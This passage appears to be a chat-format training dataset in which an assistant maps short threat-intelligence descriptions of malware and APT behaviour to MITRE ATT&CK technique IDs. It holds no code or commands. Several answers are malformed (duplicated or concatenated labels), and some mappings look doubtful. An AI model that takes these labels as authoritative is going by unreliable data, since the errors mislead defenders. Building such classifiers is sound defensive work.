                "content": "WhisperGate can use PowerShell to support multiple actions including execution and defense evasion."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 leveraged spearphishing emails with malicious links to initially compromise victims."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has the ability to identify the computer name and OS version on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6: SpeakUp receives additional commands to execute, this time in plain text"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is launched through use of DLL search order hijacking to load a malicious dll."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The injected wermgr.exe process then creates a new folder in the user’s AppData directory. As typically seen in Trickbot infections, it drops a copy of itself into this folder along with its encrypted config (settings.ini) and a batch file (launcher.bat). "
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RegDuke can decrypt strings with a key either stored in the Registry or hardcoded in the code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For alerts raised either by specific threat intelligence tied to activity groups or by more generic suspicious behaviors, Windows Defender ATP provides rich, visualized technical context. In the screenshots below, Windows Defender ATP clearly presents the Winnti installation where an installer drops a DLL to disk (Figure 5), loads the DLL using rundll32 (Figure 6), sets the DLL as a service (Figure 7), and saves a copy of itself in C:\\Windows\\Help (Figure 8"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To avoid detection, the macros employ simple obfuscation of interesting strings that ultimately just used base64 encoding. However, it used a somewhat unusual method where it would first convert the base64-encoded text into hex, and then convert that hex into a text string"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the defense evasion phase, anti-malware and monitoring software is often disabled. Firewall rules have occasionally been seen being disabled as well."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop', 'T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Step 6: After obtaining the fully privileged handle of Taskmgr.exe, the actor uses this handle to execute cmd as high privilege process to execute install.bat"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader scans processes to perform anti-VM checks."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  dropper uses a function to obfuscate the name of functions and other parts of the malware."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT gathers the username from the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon ejection from the network, APT15 managed to regain access a couple of weeks later via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use backup C2 servers if the primary server fails."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Previous related research: https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html?m=1 https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/ https://www.sekoia.fr/blog/falling-on-muddywater/  Decoy images by country Jordan     The Hashemite Kingdom of Jordan, Ministry of Justice (mwjo.doc) DAMAMAX.doc    Turkey     Turkey’s General Directorate of Security Turkey’s Directorate General of Coastal Safety        Turkey’s General Directorate of Security (Onemli Rapor.doc) Turkey’s Ministry of the Interior (Early election.doc)    Saudi Arabia Document signed by the Major General Pilot, commander of the Saudi Royal Air Force     KSA King Saud University (KSU) KSA King Saud University (KSU)    Azerbaijan İnkişaf üçün görüş.doc (meeting for development) Iraq     Iraqi Ministry of Foreign Affairs Government of Iraq, the Treasury of the Council of Ministers    Pakistan     ECP.doc National Assembly of Pakistan.doc        P.Police.doc     Afghanistan President.doc, E-government of Afghanistan Technical details Below is a description of the malware extraction and execution flow, starting from the initial infection vector, running VBA code via a macro and then dropping the PowerShell code that establishes command-center communications, sends victim system information and then receives commands supported by the malware"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to execution of any recon command to gather information from the target machine, the default codepage of the console is changed to “65001” (utf-8"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can obtain information about network configuration, including the routing table, ARP cache, and DNS cache."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious Kitten is an APT group that since at least 2015 has been targeting Persian-speaking individuals who appear to be based in Iran. Although it has been active for a long time, the group has mostly operated under the radar and has not been covered by security researchers to the best of our knowledge. It is only recently that it drew attention when a lure document was uploaded to VirusTotal and went public thanks to researchers on Twitter. Since then, one of its implants has been analyzed by a Chinese threat intelligence firm"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell can launch command-line shells."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has used mshta.exe to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There is a command ftpversion that uploads the version of the backdoor (hardcoded) to a file `ver.txt` on the FTP server, in the root folder for the target."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linfo creates a backdoor through which remote attackers can obtain data from local systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can identify the system time on a targeted host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used Nltest to obtain information about domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture desktop screenshots in the PNG format and send them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can send phishing emails containing malicious links designed to collect users’ credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can encrypt files on victim systems and demands a ransom to decrypt the files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire contains a variety of enumeration modules that have an option to use API calls to carry out tasks."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The encrypted file contains a config file of 0x78 bytes. The data is decrypted with an 0xD9 XOR operation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can disable pop-up information about folders and desktop items and delete Registry keys to hide malicious services."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can use `System.Security.AccessControl` namespaces to retrieve domain user information."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used tcping.exe, similar to Ping, to probe port status on systems of interest."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ran a reverse shell with Meterpreter."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the victim's IP address and domain information, and then sends it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a feature to capture a remote computer's keystrokes using a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about the logged on user both locally and for Remote Desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D uses Word macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to exfiltrate documents from infected systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron is controlled via commands that are embedded into PDFs and JPGs using steganographic methods."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware gathers the registered user and primary owner name via WMI."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT targets exposed Docker API to deploy malicious images. Docker images containing TeamTNT malware are being hosted in public Docker repos via account takeovers. TeamTNT leverages exposed Docker hub secrets within GitHub to stage malicious Docker images. The following MITRE ATT&amp;CK techniques were observed: Deploy Container (T1610), User Execution: Malicious Image (T1204.003), Unsecured Credentials: Credentials In Files (T1552.002), Implant Internal Image (T1525), and Valid Accounts: Cloud Accounts (T1078.004"
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can use WMI to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware can list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"New-UserPersistenceOption\" Persistence argument can be used to establish via the \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers information on users."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses Mimikatz to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors created services on remote systems for execution purposes."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first way in which the malware can be launched is by hijacking a DLL. Being placed in the same folder as explorer.exe, the wrapper DLL is loaded during the Windows startup into the Windows Explorer process instead of the legitimate library located in the %windir%\\system32 folder"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMould has the ability to download files to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has collected files from network shared drives."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can terminate itself if specific execution flags are not present."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has functionality to remove Registry Run key persistence as a cleanup procedure."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used malware that is disguised as a Secure Shell (SSH) tool."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth can download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has infected victims by tricking them into visiting compromised watering hole websites."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has encoded C2 traffic in hexadecimal format."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most of the strings in  are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It implements a simple custom-built virtual machine mechanism that will execute an embedded bytecode to decode and inject the payload into memory"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has downloaded additional scripts and executed Base64 encoded commands in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has used WMI to execute binaries."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
